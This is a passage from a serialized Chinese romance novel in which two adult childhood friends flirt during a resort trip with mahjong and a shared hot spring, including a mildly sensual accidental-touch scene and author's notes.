看到这条消息的商知珩还有什么不明白的,原来是怕喜欢的女生家长对他有不好的看法。 商知珩迅速签完助理送来的几份文件,助理离开,他才继续回复商恪景的消息:[平心而论,我认为不会,你们以及我和虞昭音在长辈眼里都是自家孩子,并且你大学还没毕业,还没到拼搏事业的阶段。] [可哥哥你大学的时候就在分公司帮忙了。] 商知珩是在国外读的大学,大一的时候就去自家国外分公司学习了。 [那不见你大一的时候提说来永誉帮我。] 商知珩看的很明白,无非是因为之前虞千绾和商恪景都没实习,那会儿的两个人战线统一都巴不得迟些面对工作,但现在虞千绾开始工作了,他没工作就显得步伐不太一致,更别提他还喜欢人家女孩子,心里头考量的就更多了。 [如果你只是担心虞千绾爸妈的看法才要来工作,我认为没有必要,是你想太多,他们不会那样想,你大可以好好享受余下的学生生涯,总归也没剩多少时间了。可如果是出于担当、和女孩子的感情上,那我支持,毕竟学生和社会人的思维模式很不相同,总不能到时候千绾跟你说一些职场上实质存在的问题你还很浅的浮于表面只能给些情绪价值,却不能切身体会、解决她的问题。] [但你得想好,如果真来实习,你就没现在这么多和虞千绾待在一起相处的时间了,到时候我不会手软动辄给你批假的,甚至对你会比正常员工更严格。] 商恪景侧目看了眼虞千绾,沉浸在工作中的她是那样的认真又迷人,更透着种与学生时代相似却又不那么相同的成熟,他总不能一直处在一个旁观的角度就这么看着,他想和她一起。 唇角轻勾,眸中蓄上些坚定,他回复:[我想好了,而且只要有心,肯定还是可以每天都见都聊天的。] [行,那我让助理安排,你这边什么时候过来?] [下周的今天吧,我们俩这几天在薄正卿家的度假山庄玩,还不确定具体回去的时间,正好再留点时间让我准备准备。] [嗯。] 虞千绾弄好余下的那点剪辑,保存的时候深松口气,转了转因为低垂着而有些发酸发僵的脖颈。 抬手合上电脑的同时,身侧一直没出声打扰过她的商恪景突然就靠了过来,但没挨到她,他们之间留有空隙,“啊,虞千绾啊。” 他似乎很愉悦又很感慨的唤她名字。 “嗯?” 几乎是一种习惯性的反应,听到别人喊自己就下意识应下循声看去。 可虞千绾盯了太久电脑屏幕,冷不丁扭过头就看到这么一张近距离挨过来的脸,她呼吸短促窒了下,很难不为他这张具有冲击力的浓颜系帅脸感到心旷神怡,视线仿佛一下就清明了,更别提他还这么唤着她,他最近很喜欢这么喊她。 明明是被数不清多少人喊过的名字,他这么多年也喊过不知多少次,但自从知晓他的喜欢、她也没那么逃避打算和他处处看后,越听越容易心起波澜,总觉得跟别人喊的一样又不一样。 司机还在前头开车呢,他突然离她这么近。 虞千绾才堪堪适应最近单独和他的那种隐晦暧昧期,哪里能适应还有第三人在场的情形。 一旦不是他们俩,她就很容易心生忐忑,很难为情,可对他们这种打打闹闹的相处模式来说,难为情表露出来会让她感到更加羞赧,于是她反应过来的时候立即举起电脑阻在了面前隔在他们之间,如此他的视线也没法看清她全部的面容。 身形微微后仰的虞千绾只在电脑顶端露出双圆溜溜的眼睛警惕看着他,“……干嘛。” “不干嘛。” 他笑着垂望她那双大眼睛,“就想朝你靠近。” “你住口。” 不知其中深意的虞千绾只觉得羞恼,生怕这句直白的话传到司机耳朵里让他品出什么然后全家人都知道,她顺手就用电脑轻敲了下商恪景脑袋。 商恪景没再说话也不反抗,就持续看着她,由着她。 反倒有些厚脸皮的迎着让她打的意思,不仅如此,他还一点点朝前逼近,最后反倒弄得虞千绾更羞愤了。 作者有话说:千绾心想难不成自己认识这么多年的竹马居然是隐藏的m??? 第49章 第 49 章 泡温泉 从凌晨开始, 薄正卿为了这次聚会特意拉的群聊中就有人陆陆续续发消息说自己到了。 显然,这群人不可能是早早起来赶过来的,而是结束了上个局后径直过来睡这,如此睡醒后就能直接跟大家在一块玩了, 省得再奔波。因为来的第一波人是凌晨三点在群里发消息说自己到了的, 很诡异也很年轻人的一个阴间时间点。 八点到十点这段时间里, 群里格外的安静, 一条消息都没有, 十点过后才又时不时有一条。 大多数人都打算今天下午过来,中午到的虞千绾和商恪景算是来的比较早的那批。 度假山庄还没正式对外营业, 此刻在这里的人都是或多或少和薄家有些交情的, 要么是事业上有合作,薄父就直接安排人住这, 要么就是亲戚朋友,但到底人数有限, 度假山庄的占地面积又那么大, 虞千绾和商恪景到时凌晨过来的那波人全都还在睡,山庄里头非常静谧安宁,除了工作人员外基本瞧不见什么人。 薄正卿给两位发小安排的是度假山庄里最好的两间温泉房,院中皆设有隐私性强的单独温泉池。 事先得到告知的工作人员在入口处得知两人姓名后也格外关照, 还特意加了两人的微信方便他们有任何需求随时提。 虞千绾和商恪景自也不可能多客气, 直接就把行李箱交给了工作人员让其把行李箱送去房间,他们俩则直奔餐厅先饱餐一顿,否则都没精力欣赏风景。 吃饱喝足就想躺平, 正好从餐厅出来没走几步就看到三岔路口立着的标识上指向左边那条道的指路牌写着休闲按摩区域。 两人对视一眼,默契转道去往。 就这么,两人在按摩房待到临近傍晚才出来, 大多时间都被他们躺着玩手机度过去,和在家没什么区别,就是换个新鲜的地方继续躺。 若不是来到度假山庄的人越来越多,看到群里开始攒麻将局,虞千绾手痒,怕是还能继续在按摩房躺下去。 虞千绾、商恪景、薄正卿三个人一到麻将室就够了一桌的四分之三,知道虞千绾挺久没打今天肯定不会轻易结束,所以薄正卿帮她又拉来一个很有麻将瘾的人。 薄正卿是个很爱玩的人,无论玩什么都能玩得很嗨。商恪景对麻将倒是没虞千绾那么热爱,但虞千绾在这他就可以一直玩下去,他们已经很久没一天在一起待这么久了,他极为珍惜,生怕过几天就过不上这样的好日子。 所以这四个人坐在一桌就大有种通宵的架势,连中途的晚饭点都没下桌特别去吃饭,而是让服务生送来了些方便单手拿着吃的食物。 最后的结局也不意外,邻桌换了好几拨人,他们四个依旧坚守在麻将桌上一动不动。 直至凌晨四点,窗外的天完全黑透了,他们才结束。 而且还是因为薄正卿打着打着眼皮都黏一块实在受不了了才提的,否则另外三个人怕是还不会停——毕竟度假山庄是他家的产业,他攒的局,所以今天陆陆续续有不少事都找上他,虽都不是多重要的事,但零零碎碎的,扰的他没睡好觉,委实没法再通宵。 薄正卿本说自己下场,再换个人上来的。 但打的正热的局一叫停,大家的精力也都松懈了下来,皆说不再打了。 他们便起身把麻将桌让出来,给旁的想打的人打。 薄正卿确是真真困到极致了,他连从娱乐区回到酒店房间的力气都没有,直接就睡在了棋牌室旁的休息区里。 虞千绾和商恪景则选择散步回酒店,正好途中赏赏夜景松松身子,连着坐了几个小时,身子都僵了。 两个人的身体都挺困的,但精神都还不错,尤其虞千绾,她是今天的大赢家,赚了不少钱,心情格外好,一路上都愉快哼着歌,蹦蹦跶跶的。 这些钱对他们这个圈子里的人来说当然不算什么,可从麻将桌上一把一把赢来的钱跟伸手直接从爸妈那拿来的不同,格外有成就感。 使得虞千绾一遍遍打开微信欣赏刚刚的进账,还得意洋洋将屏幕凑到商恪景面前让他看自己的战绩,明晃晃跟他炫耀。 商恪景顺手就曲肘轻搭在虞千绾肩头,另手握拳抵着额头,身形一弯作势好像很没劲的样子懒散着朝她的方向倚,但身子又没全然触到她,沾又不沾的,带着些试探,“啊……输的我头晕眼花,整个人都没劲。” 他冷不丁压过来,虽然没使多大力,但猝然的一下,虞千绾肩头下意识往下沉了截,反应过来的时候不仅恢复原貌还朝商恪景那边迎了一小截,怕他真摔着。 “少装。” 虞千绾这么评价他,但依旧正常朝前走着,并不排斥他的动作,没有推开他。 商恪景今天虽然输了钱,但并没输很多,大头在薄正卿身上,他大抵是后半程实在太困没了理智,基本就没赢过,持续在送钱。 商恪景哼笑声,见虞千绾看破但不瞪他也不警告他让他别碰她,他自然也没有先行撤开的道理,胳膊压得更实了些。 后面一直到进到各自的房间,他都持续这么搭靠着虞千绾。 如若在夏天,这个动作或许还亲昵些,因为虞千绾喜欢穿吊带,他就近搭着她肩膀会碰到她没有衣物遮挡的皮肤,但在当下这个季节,他们衣服都穿的很厚实,中间隔着许多层衣服都别提碰到皮肤了,连骨骼感都弱下许多。 但商恪景就是觉得,好亲昵,好眩晕,像在做梦。 进到房间,脱去外衣躺在床上,商恪景还有些如梦似幻。 他仰头看着天花板,不自觉傻笑,时而还会抬起刚刚搭在虞千绾肩上的左手看一看。 明明什么都没触到,但他还是感觉其上就跟沾染上了她的气味一般,萦绕不散。 自觉可耻又忍不住的往鼻前送了送,很轻很轻地嗅了几下。 很香。 这个念头在脑海里浮现的时候,商恪景耳朵突然很红,他感觉自己像个变态,但又将手在心口捂得很紧- 两个人的房间是紧挨着的,仅有一墙之隔的虞千绾熟稔挽起了长发,用夹子夹起,进到了浴室里简单冲洗身子。 她刚结束麻将的那刻是有些困的,但一路伴着冷风赏着景色回来,那股子困劲又被吹散不少,手脚也有些发寒,她便想泡会儿温泉,待到周身都暖了再正好入睡。 可当她冲干净身子,穿好短袖短裤裹着浴袍去到庭院里打算泡温泉的时候才发现一件很要命很扰兴致的事。 这个温泉池里面居然有玫瑰花瓣,而且应该还加了类似玫瑰精油这类的东西,总之玫瑰味很浓。 虞千绾很不喜欢玫瑰味的东西。 她并不排斥玫瑰花本身的气味,但无法接受由玫瑰制成或添了玫瑰的东西,总觉得味道怪异,比如玫瑰香水、沐浴露身体乳、奶茶、玫瑰饼这类,眼前的玫瑰温泉池自然也不例外。 几乎在看到的那瞬间,虞千绾就轻蹙眉头,掩鼻往后退了几步拉远距离,省得那馥郁的玫瑰味一个劲往她鼻子里钻。 如果是在回来时就知道,虞千绾也就索性不泡温泉,洗洗直接睡了。 可她都特意冲好澡换好适宜泡澡的短裤短袖了,而且从温暖的房里来到微凉的庭院里,她手脚又有些发寒,并且她还下单点好了吃食,打算马上一边泡温泉一边吃的,可谓是万事俱备了,乍然不能泡了她非常不乐意,不想轻易放弃。 但庭院里头冷,虞千绾又缩回了开着暖气的屋内,坐在床边给来到度假山庄时加上联系方式的那位工作人员发微信,询问对方能不能更换,她可以不要什么特殊的温泉池,只要一个普普通通的温泉泡着就行。 哪怕已经是凌晨,那头的工作人员还是秒回,但很遗憾,对方说不能更换。山庄这一层都是最高级的温泉房,里头的温泉都是不同主题的,来这游玩的客人可以自己根据想要什么类型的温泉选择对应的房间,但他们这波过来的人都没有先说明喜好,薄正卿只跟工作人员说了安排什么房型,他们便只知道给虞千绾安排好的,不知其无法接受玫瑰味。 当即,工作人员跟虞千绾道歉,大抵是知晓她和薄正卿关系好,怕她跟薄正卿说了以后被罚工资。 虞千绾无意如此,更不想为难工作人员,她只想达成自己泡温泉的目的。 于是又问工作人员有没有别的还空着的房间了,她也没那么挑,但凡不是玫瑰温泉,她都能泡。 但这一层都住满了,并且除了商恪景外,别的温泉房住的都是更不熟的异性以及薄家商业合作伙伴。 与他们相较,商恪景自然成了最优选,反正泡个温泉而已,衣服都穿的好好的,他们经常一起游泳,在一块泡个温泉也没什么,何况商恪景还不一定泡呢。 虞千绾想- 商恪景很困了,洗完澡就打算上床睡觉了。 但刚从浴室简单吹了吹头发出来,他就收到了来自薄正卿的来电提醒。 抬了抬眉,商恪景有些意外地摁下接听键,将手机放在耳边,“不是睡着了?怎么这时候给我打电话。” 他记得他走的时候,薄正卿都困成狗一秒睡死过去了。 电话那头,薄正卿的声音明显是嘶哑的,掩不住的疲惫和困倦,但又莫名有一股子兴奋劲在,“你在泡温泉吗?” 商恪景不知道这人睡觉睡一半突然抽什么风来问这个,但依旧答道:“没呢,困了,明天再泡吧。” “NONONO,你马上肯定会泡的。” 薄正卿很是笃定,话腔还掺着笑。 商恪景只觉得莫名,泡不泡温泉这种事有什么好否认的,他自己还能不清楚自己的决定吗? 他沉默几句,看了眼手机,忽问:“你是不是没睡醒。” 搁他这说梦话呢。 薄正卿不多解释,就道:“咱们打个赌,你要是泡了,小蓝再借我玩一周。” “滚。” 商恪景言简意赅,眼神幽幽扫了眼手机,深感薄正卿没憋什么好屁,就是单纯想坑去他的小蓝多玩几天。 话音刚落,房间门突然被叩响。 手机里瞬间传来薄正卿放肆的笑,很是刺耳洪亮,惹得商恪景登时将手机拿离自己的耳朵。 “就这么说定了,商恪景,你会感谢我的!也不枉费我这么困还助攻你。” “行了,去享受你的幸福吧!挂了。” 商恪景听得一头雾水,不明所以,还不待他回话,电话已经被薄正卿从那头挂断,只余机械的嘟嘟音。 挂断电话的薄正卿给刚刚及时向他汇报的工作人员发了三个大拇指的emoji过去,然后深藏功与名,美滋滋抱着小蓝的车钥匙再度入睡。 第50章 第 50 章 手指本能地寻觅地方抓住…… 商恪景困惑看着已然结束通话的手机屏幕, 不明白薄正卿到底在搞什么名堂,但隐隐感觉应该和虞千绾有关。 毕竟他这么多年也就喜欢过她一人,‘助攻’‘幸福’这种字眼也只会与她相关。 刚停了两秒的敲门声又响起,门外的人又叩了几下。 商恪景随手就把手机丢在了床上, 抬脚往门口去, 他一手拿起搭在颈后和肩侧的毛巾一角擦了擦并没吹得太干燥, 时而还有些滴水的发尾, 另手摁下了门把手。 虽然有所猜测, 但打开门真看到虞千绾的那刻,商恪景还是心头微惊, 生怕薄正卿干了什么没分寸的事让虞千绾不高兴最后迁怒于他了。 可瞧见虞千绾来找他, 他又止不住的高兴,情绪略微忐忑地看着她, “你怎么过来了?有什么事吗?” 虞千绾一提到这茬就是无奈的一声长叹,她先是指了指屋内, “进去说吧, 方便进去吗?” “方便。”商恪景点头侧身敞开门让她进来后,她才继续道:“你打算泡温泉吗?还是睡觉了呀?” ——【NONONO,你马上肯定会泡的。】 ——【去享受你的幸福吧!】 薄正卿刚说过的话在脑海穿过,商恪景虽不知薄正卿到底做了什么, 但他觉得他现在应该选择泡温泉。 于是他一秒舍弃原本的念头, 很丝滑地接道:“泡,正好刚刚洗完澡打算去院子里呢。” “这里每间房的温泉池都是不一样的,有的是中药池, 有的是普通的,有的是牛奶池……很倒霉,我的院子里是玫瑰花的, 不仅一整个池面都漂浮着玫瑰花花瓣,池子里感觉还被滴了很多和玫瑰有关的浓缩液,总之味道特别大,我感觉我要是进去泡一次,未来十天我都受不了自己身上残留的味道,所以我来投奔你了。” 虞千绾自认倒霉的说出这一通,但有了解决方案她就没什么烦躁感了,脚下好奇往他院子那边去,探头张望,“你这的温泉池是什么样的啊?” “应该就是最普通最常见的那种,我没看到上面飘有什么花瓣,颜色也很正常。” 商恪景非常庆幸他不久前刚去院子里转了一圈,虽然回答不上来也没什么,毕竟他还没泡,可做贼心虚大抵如此,总觉都说要泡了还不知道是什么温泉池很虚假。 即使他去院子里逛了圈的理由也不太正当,但她不知道——刚回到房间的那会儿,商恪景满脑子都是虞千绾今天对他和往常的微妙不同,一旦细想起来,他就更细致的发现其实不是今天才这样的,之前的相处中也有些小变化,只是没今天这般明显,没这般清晰的让他感知到。越想,商恪景越挖掘出更多他们在一点点靠近的种种细节,这样的认知让商恪景忍不住的想虞千绾现在是不是真的开始喜欢他了,这点更是让他心跳加速,加之又熬夜熬到现在,商恪景自觉心脏再这么躁动下去怕是要猝死,于是才去到了院中独自吹吹冷风强迫让自己冷静下来。 “那就行。” 闻言,虞千绾浑没多想的松了口气,扭头,她询问商恪景,“那你是一起吗?或者你可以去我院子里泡。” “我就在这。” 商恪景竭力让自己的神情看起来正常没有私心,状似好像理由很正常地说:“我一个大男人泡在玫瑰花瓣里未免太奇怪,要是没花瓣我就去了。” 虞千绾脑补了一下那个画面,轻笑出声,“那就一起。” 她刚欲推开卧室和庭院之间的移门进到庭院,可手指刚触到微凉的门沿突然想到什么,她折回床边的座机旁边摁下按键边跟商恪景解释道:“我刚刚在我房间扫码点了很多吃的,现在来你这泡温泉就让他们送到这来。” “……嗯,我换身衣服。” 虞千绾注意力都放在和座机那头工作人员的沟通上,并没敏锐觉察到商恪景的寡言,也没觉察到为什么说要去泡温泉的商恪景还穿着一身长袖长裤现在才去换衣服的异样,只是点了点头算作回他。 商恪景动作很快,他从更衣室里出来的时候,虞千绾也正好放下听筒结束交涉。 “好啦,我让他们来送餐的时候直接刷卡进来送到温泉池边,省得我们再起来开门。” 虞千绾步伐松快又回到原处,这次她不假思索推开了移门。 庭院是没顶的,不似整个酒店内的恒温。 移门打开的那刻,外头的冷风就袭入了些,虞千绾当即裹紧身外的浴袍,只想赶快泡到温泉池里,泡进去就不冷了。 商恪景身上没裹着浴袍,他觉得自己这时候更需要冷静下来。 不过他多带了几条厚实的浴巾担在小臂上,防止虞千绾身上这件弄湿,从温泉池出来的时候没干净的用。 虞千绾直奔温泉池,将手上一直提着的一个小竹篮放在温泉池旁的干燥处,而后双手拢起浴袍摆,脱去拖鞋踩入热气弥漫的暖和温泉水中。 只是双足探入,她就舒服的低啊了声,适应了些水温,感觉身体逐渐热起来,她才脱掉身上的浴袍丢在一旁,整个人都坐进去。 小竹篮是虞千绾在房间里瞧见的,她感觉挺适合装些零碎的小物什,就顺手拿着用了。 她把平板、手机、充电宝、纸巾、发圈都放在里面,这会儿分外悠闲地伏在池沿将平板从中拿出,点开自己还没看完的电视剧,然后将平板支架的高度调整到舒服高度,摆好。再扯过刚刚被自己丢在一旁的浴袍随意叠了叠放在肘下垫着,如此托着脸看剧也不会硌手了。自在的不像样。 独自心猿意马了良久的商恪景看到这幕突然就心如止水了,甚至还有些心死。 她很显然一点旁的心思都无,就是单纯的泡个温泉而已,自如的跟在家似的,完全不会因为这氛围感到暧昧,她眼前的电视剧都比他有千倍万倍的吸引力,她从进到温泉池到现在都没看他一眼。 不久前还在荡漾必须靠着吹冷风才能克制些的商恪景此刻泡在温泉里还觉得心头凉凉的,虞千绾的举动无疑给了他狠狠的一巴掌,让商恪景暗骂那会儿的自己太自恋。 她好像也没有很喜欢他,起码没有他想得那么多。 其实本该是个高兴的事,因为起码有了从零到一的质变,但历经过一番畅想再认清却是个从十到一的过程。 人总是贪心的,得到一点就忘了当初说但凡有一点点就好,总还想要更多。 虞千绾全然不知商恪景这些怅然若失、将一个小事无限放大多想的念头,她虽然精神还挺昂扬,但身体确是疲惫的,热气一熏人也有些犯迷糊没再那么有精力。 她现在就是一个完全放空,什么都不想,静静享受的状态。 直到在电视剧里看到一个好笑处,虞千绾不禁发笑,下意识想去跟商恪景分享让他跟自己一块笑,扭过头去才发现商恪景没玩手机也没干什么,就顶着一张格外正经的脸坐着。 “你发什么呆呢?” “没。” 他下意识掩饰,“可能是有些困了。” “泡完就可以睡了,感觉我们今天会直接睡到下午,我的脑袋也不太转了。” 虞千绾将平板朝他的方向转了些,“诶,我上次跟你说的这部剧你看了没?这里超级搞笑。” 商恪景做不到虞千绾这么自如寻常的模样,进温泉池的时候,他就有意同她保持了一截适当的距离,不近也不远。 但当下虞千绾主动提出话题,有了靠近正当理由的他顺势就挨近了些,看清她平板上正在放着的剧。 “看了。” 她让他看的东西,他哪怕不感兴趣都会看,实在看不进去就会在干别的事时当个背景音听着,多少知道个大概,不至于在她兴奋和他聊到的时候,他一个字都听不懂,那样会很扫兴,会少掉很多话题,何况这部剧确实很好看,他已经看完了。 得知他看完了的虞千绾一秒睁大眼睛,当即警告他不许跟她剧透,一定一定要管住嘴,只许他跟自己聊这集之前的东西。 商恪景单臂也搭在了她铺着的浴袍边缘,一起看着聊着的两人距离在不察间逐渐靠近。 期间,服务生推着餐车送来虞千绾先点的和商恪景后加的吃食饮料。 没好好吃晚饭的两个人现在吃的大快朵颐。 但这个点身体本就很困了,又吃了这么多东西更是容易犯困。 盯着平板屏幕的虞千绾愈发清晰的认知到自己眼皮发沉,有些睁不开了,温泉也泡的差不多可以出来了,可四肢都在发重,使得她压根不想动弹,很是犯懒,犹豫之间,身体的困倦超越了她的精神,在虞千绾自己都没意识到的时候,她的眼睛就这么闭上了。 商恪景发现的很快,因为他的余光一直放在她身上。 陷入睡眠中的虞千绾依旧保持着单手撑着脸颊的动作,但由于没了意识和控制力,她抵在浴袍上的手肘愈发受不住发沉的脑袋,缓缓地、缓缓地朝侧滑着,幅度很小,但对持续观察着的商恪景来说很明显。 她的脑袋也逐渐往侧倾斜,时而还伴随一下小鸡啄米似的轻点,她显然也是困极了,一睡去就毫无要醒的意思。 商恪景无声闷笑,上一次见她如此还是在高中校园里了。 她的脸颊也因为泡温泉被熏得红扑扑的,再配上睡而不自知的模样倒有些娇憨的可爱。 商恪景不忍叫醒她,想这么再静静看她一会儿。 五分钟后,如果她还没醒,他再叫醒她,让她回去睡。 有了这样劝服自己的心念后,商恪景直接侧着身子,单手撑着脑侧,目不转睛地看着睡着的她。 但就在半分钟后,虞千绾的脑袋突然朝后失重一仰,整个人跟着都是一惊,手脚忽颤,身形都仿佛要失控摔入温泉池中,一切都发生的很快很乍然。 幸而商恪景一直看着她,眼疾手快探手握住她另侧肩头的同时身形也挨了过去让她撞到他的身上不至于摔到池水里去或磕着哪儿。 骤然清醒过来的虞千绾也吓了一跳,手指本能地寻觅地方抓住,主动挨过来的商恪景显然是最好的目标。 可当虞千绾回过神来才意识到自己干了什么…… 她的手—— 就明晃晃按抓在他的左侧胸膛上,隔着早被温泉水泡湿紧贴在肌肤上的薄薄衣物,她甚至可以感觉到,掌心下有一粒逐渐鲜明起来的小点…… 作者有话说:[狗头叼玫瑰][狗头叼玫瑰]《 》 50-60 第51章 第 51 章 “你。” 温泉池面不断升腾起热雾, 加之泡的时间不短,两人的皮肤都由内而外透着些许粉泽。 但在这一秒,虞千绾的脸颊腾地涨红,以一种肉眼可见的速度比之前都要明显的展露出来。摁在商恪景胸口的手掌也跟被烫到似的, 倏地收回。 “腿磕着没?” 这一次, 商恪景反倒成了略显粗线条的那个, 一方面是他怕她刚刚一个激灵磕到了池壁弄伤了自己, 第一反应是低头去观察她泡在温泉池水里的双腿。另方面他并不知虞千绾隔着他的衣服感觉到了那一点, 他只感觉到虞千绾靠过来了一瞬,她的手在他身前扶了下稳住身子, 很快她就收回去了, 完全不逾矩的动作,遑论在差点摔到水里的前提下, 更显得微不足道。 虞千绾的注意力却没法顺着他的走,甚至更乱了, 还有着更为脸热的羞耻。 商恪景越全心关注她身上有没有磕碰到, 她的那股臊热感就更甚。 虞千绾这才意识到自己把泡温泉这事想的太简单了,他们早不像之前那般了,现在的他们穿着厚厚的衣物做着无比日常的事都会冒起粉红泡泡,更别提当下这种雾气蒸腾的氤氲情形了, 暧昧值被拉高了好几个度。 偏偏商恪景还在关心她, 他分别举起了她左右胳膊,检查她小臂有没有破皮的痕迹。 虞千绾呼吸都屏住了,因为他总是顶着那张棱角分明的俊脸在她的视野里进进出出, 而且她的视线只要稍加微敛下垂,就能看到他精瘦有劲的好身材。 商恪景上身穿的是件纯黑色的短袖,这个颜色沾了水也不会透, 但是,衣料很薄,严丝合缝地贴合着他的身材,完全勾勒出了腹肌的形状和凹凸鲜明的肌肉线条感。即便一点肉都没露出,可却莫名比毫无阻隔看到的更具有诱惑力和色欲感。 短短几秒的时间,虞千绾脸颊更热,她感觉自己整个人都要烧起来了,甚至感觉自己再这么遐想下去有在商恪景面前丢人流鼻血的风险。 “我没事!” 她有些欲盖弥彰的突然扬声,眼神慌乱的瞥向看不到商恪景的角落里,“我、我先回去了!” 话还没说完她就急遽起身,起身速度又急又快,带起了阵“哗啦”水声。 商恪景因为离她太近,反应过来的时候已经躲闪不及了,面前没可避免的被溅起的温泉水扑了一脸,鼻腔里也被呛入零星惹得他咳了几声。 手掌反复从眉毛的位置抹下甩去面上的水,视线重新恢复清明时,只见虞千绾已经上岸了,她连浴巾都没披,显然冷的有些哆嗦,但还不待他开口,她就已经将平板塞入了小竹篮里提着离开了,背影颇有些落荒而逃的意思。 她实在太藏不住心思,商恪景本没觉察到什么的都被她这异样的反应引得微微蹙眉思索,寻找让她如此的源头。 而这之间间隔很短,很容易就被商恪景锁定了范围。 上一秒还在笑呵呵看着电视剧然后无意睡着,下一秒惊醒被他扶了下就突然如此。 想来是跟那个动作脱不了关系。 虞千绾已经迅速钻进了屋里,消失在商恪景的视线范围内了,全然不像一分钟前还在睡梦中的样子。 商恪景双臂搭在温泉池沿,神情又有些复燃的荡漾,原来,他对她还是有点吸引力的,她也没他以为的那么自若淡定。 虞千绾可太不淡定了!! 她回到自己的房间,迅速冲了冲身子,换了身干净的睡衣就趴在了床上,蜷入了被里,她只想无声尖叫。 她自己都在反省自己,商恪景明明这么犯规,她之前到底怎么一根直筋只拿他当朋友的? 他明明那么有性张力,他们明明那么合拍。 不过他的身材好像比她昔日瞧见的又性感了不少,或者说,挨得近了以后对比更明显。 虞千绾揪着被角,睁着一汪潋滟带媚的眼睛,不自觉又想起被商恪景揽着,半靠在他怀里的那幕…… 他的手臂好有力量,肩背也很宽阔,让她很有安全感,尤其被半拥着的时候,她感觉她整个人都要被他臂弯揽实了……他要是彻底张开双臂,好像可以把她完整藏在怀里,原来一米七的她也可以这么小巧。 脑子里的念头又不知道哪个时候突然偏航变了味,虞千绾反应过来的时候该想的都想了,她既羞耻又忍不住暗爽的婉吟娇哼。 她翻了个身,眼睛睁得更大,身体却好似在变软。 这是一种于虞千绾而言全新的体验,她第一次对异性的肉/体产生虽然略显粗俗但又很实际的遐想。 曾经她虽然喜欢常桦很久,但他们的交流大多只在微信,见面的次数都很少,更别提有什么肢体触碰了。 虞千绾是在想入非非中无意识入眠的。 这一觉,她睡得极好,足足睡了近十个小时,醒来时已临近傍晚。 拿起手机,她就看到有来自微信的未读消息,发消息的人还是商恪景,她刚醒还有些惺忪的眼睛瞬间就扫去迷糊来了精神。 商恪景比她早醒五十分钟左右,醒来第一时间就给她发了消息: [我刚醒] [你醒了吗?] [探头.jpg] 见她二十分钟还没回便知她还在睡。 他俩没什么要紧事都是习惯性手机静音睡觉的,所以商恪景也不用怕发消息吵到她睡觉,有什么就发什么,如此方便她睡醒就看到,第一时间同步消息。 [薄正卿弄了个草坪派对,就今天傍晚,还请了大厨过来做晚餐,不过是以自助餐的形式,我看群里挺多人说去的,应该蛮热闹,你去吗?] 虞千绾回了个猫猫伸懒腰的表情包,[我才醒] [去!必须去,为了吃的也得去。昨天光顾着打麻将了都没吃好,今天得把昨天的一起吃回来。] 他们俩在这方面很类似,两人都偏宅,不是很喜欢参加集体活动,但如果对方在,他们会更愿意朝外去。 一方面是有对方在,自己肯定不会感到格格不入。另方面是即使去了以后发现没意思,他们俩也能随时搭伴一起开溜,或者就跟在家似的独自窝在角落里开辟属于他们的一方小天地展开闲聊。这些事不是说一个人的时候不能做,但有对方会更自在,他们都很依赖对方的存在- 虞千绾醒的有些迟,草坪派对现场已经聚了不少人了。 她在群里看了看大家拍的照片和视频就赶忙起身收拾自己了,生怕再不去那些好吃的都被他们吃完了。虽然是自助形式,厨师也一直在做,但食材是有限的。 在户外玩不比室内,温度低,但出去玩总想穿好看点,这就很难,既要暖和又要漂亮。 刚还想着要快点出门的虞千绾一换起衣服就忘了这茬,捯饬了很久才终于搭好满意的衣服和配饰,然后才开始化妆,和商恪景一起乘车去往派对现场。 他们俩到达时派对现场已经很嗨了,草坪上人头攒动,大家尚没发现光线昏暗处刚到的他们。 刚下车的虞千绾视线扫过一处却是忽顿,定睛几秒,嘴里惊讶“诶?”了声,她没朝派对中心行去,反倒朝一旁的停车点迈去几步便于细看。 他们这圈子里的人基本人手几辆车,出来玩自然也都会开上最贵的那辆跑车,一方面是因为这群人都懂得其价值,有欣赏眼光,另方面自然也想小小的显摆一下。 “千绾,在那边。” 商恪景还以为虞千绾走错了方向,大步迈到她身前指向另边提醒。 虞千绾却指向不远处那辆超跑,“那不是你的小蓝吗?怎么在这?你没开它过来啊。” 第一眼瞧见的时候虞千绾还以为自己看错了,但怎么看怎么熟悉,离近看清了车牌号才彻底确定。 “借薄正卿开几天。” 对商恪景这个答复,虞千绾更为惊愕,“哈?你不是最宝贝它了吗?怎么突然舍得借给薄正卿?还给他开几天??” 她还记得以前,他开着小蓝出门玩的时候,薄正卿想当着他面开小蓝兜几圈他都不给,薄正卿只得退而求其次说那就让商恪景坐副驾驶盯着他开,结果商恪景还是不给,怎么都不松口,现下居然如此爽快就借给了薄正卿,一借还是几天。 脑子里某根弦突然连上,“小蓝不会就是咱们考完试在餐厅碰到薄正卿那天,你说被勒索走的东西吧?” 商恪景没开口,但阖了阖眼还浅浅颔了颔首,表示她说的是对的。 虞千绾更好奇了,“所以薄正卿到底给了你什么?居然能让你给出小蓝,这么有诱惑力。” “秘密。” 商恪景笑着,依旧这么回。 “哎呀!” 这种瓜都到嘴边还吃不到的感觉最让人心焦了,想不出答案的虞千绾没再轻易让商恪景揭过,她伸手就抓住了他的小臂,身形跟着探过去,小脸仰着凑近瞧他,笑意莹莹,“到底是什么?你必须跟我说。” 夜色之下,她的眼睛更显粲然,清澈有神又诱人,商恪景望着她眼睛的视线几不可察的向下划过她饱满的唇瓣又回位,短短一刹并没让虞千绾感受到掩在其下的念头。 他声音低沉了些,眸中也掺上些晦暗,“为什么必须跟你说?” 语调是柔的暧昧的,甚至好像是带着答案问问题,但落到虞千绾耳朵里全然变了味,回不上来的她一噎。 刚还充斥着好奇和求知欲的眸中碎光一下就散了,她明显很不高兴商恪景这话,感觉他在瞒着她了,他们什么时候对对方有过秘密? 虞千绾撇了撇嘴,松开了拉着商恪景的手,气性来得很快,“不说拉倒。” 她转身就要走。 但刚随着动作在身侧划起一道弧度的小臂又被劲指自后扼住,让她动弹不得。 虞千绾刚要扭头怼他,他的答案却先一步传来,很简短的一个字——“你。” 作者有话说:——“为什么必须跟你说?” 在某人的脑袋里,想象的画面是,千绾忍着羞臊仰着脸强装镇定答:“你喜欢我,你就得跟我说,有问题?” 然而事实是差点给人惹生气[小丑][小丑][小丑]没谈过恋爱的人还是缺乏经验 第52章 第 52 章 “长”“要命的长”…… ——对我有诱惑力的是你, 秘密也是你。 不自觉代入商恪景视角闪过的这个念头让虞千绾霎时间脾气全无,再和商恪景视线对碰时,她眸中刚刚的那些不悦也尽数消散,只余泛着涟漪的清波。 理智告诉她, 她不该追问下去, 该有所谓成年人的留白, 有不必明确宣之于口的心知肚明, 